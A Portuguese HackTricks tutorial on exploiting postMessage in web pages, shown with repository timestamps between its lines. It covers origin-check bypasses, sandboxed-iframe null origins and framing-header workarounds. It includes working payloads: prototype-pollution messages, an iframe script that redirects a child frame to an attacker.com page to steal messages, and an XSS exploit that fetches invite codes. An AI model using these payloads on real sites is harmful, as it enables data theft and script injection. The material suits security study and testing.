hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

238 lines
14 KiB
Markdown
Raw Normal View History

# Vulnerabilidades do PostMessage
2022-04-28 16:01:33 +00:00
## Vulnerabilidades do PostMessage
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Enviar **PostMessage**
2021-01-07 12:57:52 +00:00
**PostMessage** usa a seguinte função para enviar uma mensagem:
2021-10-04 21:42:12 +00:00
```bash
2021-01-07 12:57:52 +00:00
targetWindow.postMessage(message, targetOrigin, [transfer]);
2021-10-04 21:42:12 +00:00
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
2021-10-04 21:42:12 +00:00
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
2022-08-02 16:08:10 +00:00
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
2021-10-04 21:42:12 +00:00
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
2022-08-02 16:08:10 +00:00
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
2021-01-07 12:57:52 +00:00
```
Note que **targetOrigin** pode ser um '\*' ou uma URL como _https://company.com._\
No **segundo cenário**, a **mensagem só pode ser enviada para esse domínio** (mesmo que a origem do objeto janela seja diferente).\
Se o **coringa** for usado, **mensagens podem ser enviadas para qualquer domínio**, e serão enviadas para a origem do objeto Janela.
2021-01-07 12:57:52 +00:00
### Atacando iframe & coringa em **targetOrigin**
2021-01-07 12:57:52 +00:00
Conforme explicado neste [**relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se você encontrar uma página que pode ser **inserida em um iframe** (sem proteção de `X-Frame-Header`) e que está **enviando mensagens sensíveis** via **postMessage** usando um **coringa** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
Note que se a página puder ser inserida em um iframe, mas o **targetOrigin** estiver **definido como uma URL e não como um coringa**, esse **truque não funcionará**.
2021-01-07 12:57:52 +00:00
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
2021-01-07 12:57:52 +00:00
```
## Exploração do addEventListener
2021-01-07 12:57:52 +00:00
O **`addEventListener`** é a função usada pelo JS para declarar a função que está **aguardando `postMessages`**.\
Um código semelhante ao seguinte será usado:
2021-01-07 12:57:52 +00:00
```javascript
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
2021-01-07 12:57:52 +00:00
// ...
2021-01-07 12:57:52 +00:00
}, false);
```
2023-06-06 18:56:34 +00:00
### Enumeração
2023-06-06 18:56:34 +00:00
Para **encontrar ouvintes de eventos** na página atual, você pode:
* **Pesquisar** o código JS por `window.addEventListener` e `$(window).on` (_versão JQuery_)
* **Executar** no console das ferramentas de desenvolvedor: `getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1) (1).png>)
2020-12-17 13:13:28 +00:00
* **Ir para** _Elementos --> Ouvintes de Eventos_ nas ferramentas de desenvolvedor do navegador
2022-10-13 00:56:34 +00:00
![](<../../.gitbook/assets/image (617).png>)
* Usar uma **extensão do navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Essas extensões do navegador irão **interceptar todas as mensagens** e mostrá-las para você.
### Contornos de verificação de origem
- O atributo **`event.isTrusted`** é considerado seguro, pois retorna `True` apenas para eventos gerados por ações genuínas do usuário. Embora seja desafiador de contornar se implementado corretamente, sua importância em verificações de segurança é notável.
- O uso de **`indexOf()`** para validação de origem em eventos PostMessage pode ser suscetível a contornos. Um exemplo ilustrando essa vulnerabilidade é:
2020-12-17 13:13:28 +00:00
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
- O método **`search()`** de `String.prototype.search()` é destinado a expressões regulares, não a strings. Passar qualquer coisa que não seja uma expressão regular leva à conversão implícita para regex, tornando o método potencialmente inseguro. Isso ocorre porque em regex, um ponto (.) age como um caractere curinga, permitindo contornar a validação com domínios especialmente elaborados. Por exemplo:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- A função **`match()`**, semelhante a `search()`, processa regex. Se a regex for estruturada incorretamente, ela pode ser propensa a contornos.
- A função **`escapeHtml`** é destinada a sanitizar entradas escapando caracteres. No entanto, ela não cria um novo objeto escapado, mas sobrescreve as propriedades do objeto existente. Esse comportamento pode ser explorado. Especialmente, se um objeto puder ser manipulado de forma que sua propriedade controlada não reconheça `hasOwnProperty`, o `escapeHtml` não funcionará conforme o esperado. Isso é demonstrado nos exemplos abaixo:
- Falha esperada:
2020-12-17 13:13:28 +00:00
```javascript
result = u({
message: "'\"<b>\\"
2020-12-17 13:13:28 +00:00
});
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Contornando o escape:
```javascript
2020-12-17 13:13:28 +00:00
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
No contexto dessa vulnerabilidade, o objeto `File` é notavelmente explorável devido à sua propriedade `name` somente leitura. Essa propriedade, quando usada em modelos, não é sanitizada pela função `escapeHtml`, levando a potenciais riscos de segurança.
2022-10-13 00:56:34 +00:00
- A propriedade `document.domain` em JavaScript pode ser definida por um script para encurtar o domínio, permitindo uma aplicação mais relaxada da política de mesma origem dentro do mesmo domínio pai.
2022-10-13 00:56:34 +00:00
### Contorno de `e.origin == window.origin`
2022-10-13 00:56:34 +00:00
Ao incorporar uma página da web em um **iframe isolado** usando %%%<iframe sandbox="allow-scripts" src="https://example.com/iframe.php">%%%, é crucial entender que a origem do iframe será definida como `null`. Isso é particularmente importante ao lidar com **atributos de sandbox** e suas implicações na segurança e funcionalidade.
2022-10-13 00:56:34 +00:00
Ao especificar **`allow-popups`** no atributo de sandbox, qualquer janela pop-up aberta de dentro do iframe herda as restrições de sandbox de seu pai. Isso significa que, a menos que o atributo **`allow-popups-to-escape-sandbox`** também seja incluído, a origem da janela pop-up é igualmente definida como `null`, alinhando-se com a origem do iframe.
Consequentemente, quando uma pop-up é aberta nessas condições e uma mensagem é enviada do iframe para a pop-up usando **`postMessage`**, tanto o envio quanto o recebimento têm suas origens definidas como `null`. Isso leva a um cenário em que **`e.origin == window.origin`** avalia como verdadeiro (`null == null`), porque tanto o iframe quanto a pop-up compartilham o mesmo valor de origem `null`.
Para mais informações, **leia**:
2022-10-13 00:56:34 +00:00
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
### Contornando `e.source`
2022-10-13 00:56:34 +00:00
É possível verificar se a mensagem veio da mesma janela em que o script está ouvindo (especialmente interessante para **Scripts de Conteúdo de extensões de navegador** para verificar se a mensagem foi enviada da mesma página):
```javascript
// If its not, return immediately.
if( received_message.source !== window ) {
return;
}
```
Pode forçar **`e.source`** de uma mensagem a ser nulo criando um **iframe** que **envia** o **postMessage** e é **imediatamente excluído**.
2022-10-13 00:56:34 +00:00
Para mais informações **leia:**
2022-10-13 00:56:34 +00:00
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
### Bypass do Cabeçalho X-Frame
Para realizar esses ataques, idealmente você poderá **colocar a página da web da vítima** dentro de um `iframe`. Mas alguns cabeçalhos como `X-Frame-Header` podem **prevenir** esse **comportamento**.\
Em tais cenários, ainda é possível usar um ataque menos furtivo. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Roubo de mensagem enviada para o filho bloqueando a página principal
Na página a seguir, você pode ver como poderia roubar dados **sensíveis de postmessage** enviados para um **iframe filho** ao **bloquear** a **página principal** antes de enviar os dados e abusar de um **XSS no filho** para **vazar os dados** antes que sejam recebidos:
2022-10-13 00:56:34 +00:00
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
### Roubo de mensagem modificando a localização do iframe
2022-10-13 00:56:34 +00:00
Se você puder inserir um iframe em uma página da web sem o cabeçalho X-Frame-Options que contenha outro iframe, você pode **alterar a localização desse iframe filho**, então, se estiver recebendo um **postmessage** enviado usando um **coringa**, um atacante poderia **alterar** a **origem** desse iframe para uma página **controlada** por ele e **roubar** a mensagem:
2022-10-13 00:56:34 +00:00
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
### postMessage para Poluição de Protótipo e/ou XSS
Em cenários onde os dados enviados por meio de `postMessage` são executados pelo JS, você pode **inserir um iframe** na **página** e **explorar** a **poluição de protótipo/XSS** enviando o exploit via `postMessage`.
2021-10-04 22:23:21 +00:00
Alguns **XSS muito bem explicados através de `postMessage`** podem ser encontrados em [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
Exemplo de um exploit para abusar da **Poluição de Protótipo e depois XSS** através de um `postMessage` para um `iframe`:
```html
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
```
2023-06-06 18:56:34 +00:00
Para **mais informações**:
2023-06-06 18:56:34 +00:00
* Link para a página sobre [**poluição de protótipo**](../deserialization/nodejs-proto-prototype-pollution/)
* Link para a página sobre [**XSS**](../xss-cross-site-scripting/)
* Link para a página sobre [**poluição de protótipo do lado do cliente para XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
2021-03-23 22:23:10 +00:00
2023-06-06 18:56:34 +00:00
## Referências
2021-03-23 22:23:10 +00:00
2021-10-22 10:16:40 +00:00
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
2023-06-06 18:56:34 +00:00
* Para praticar: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>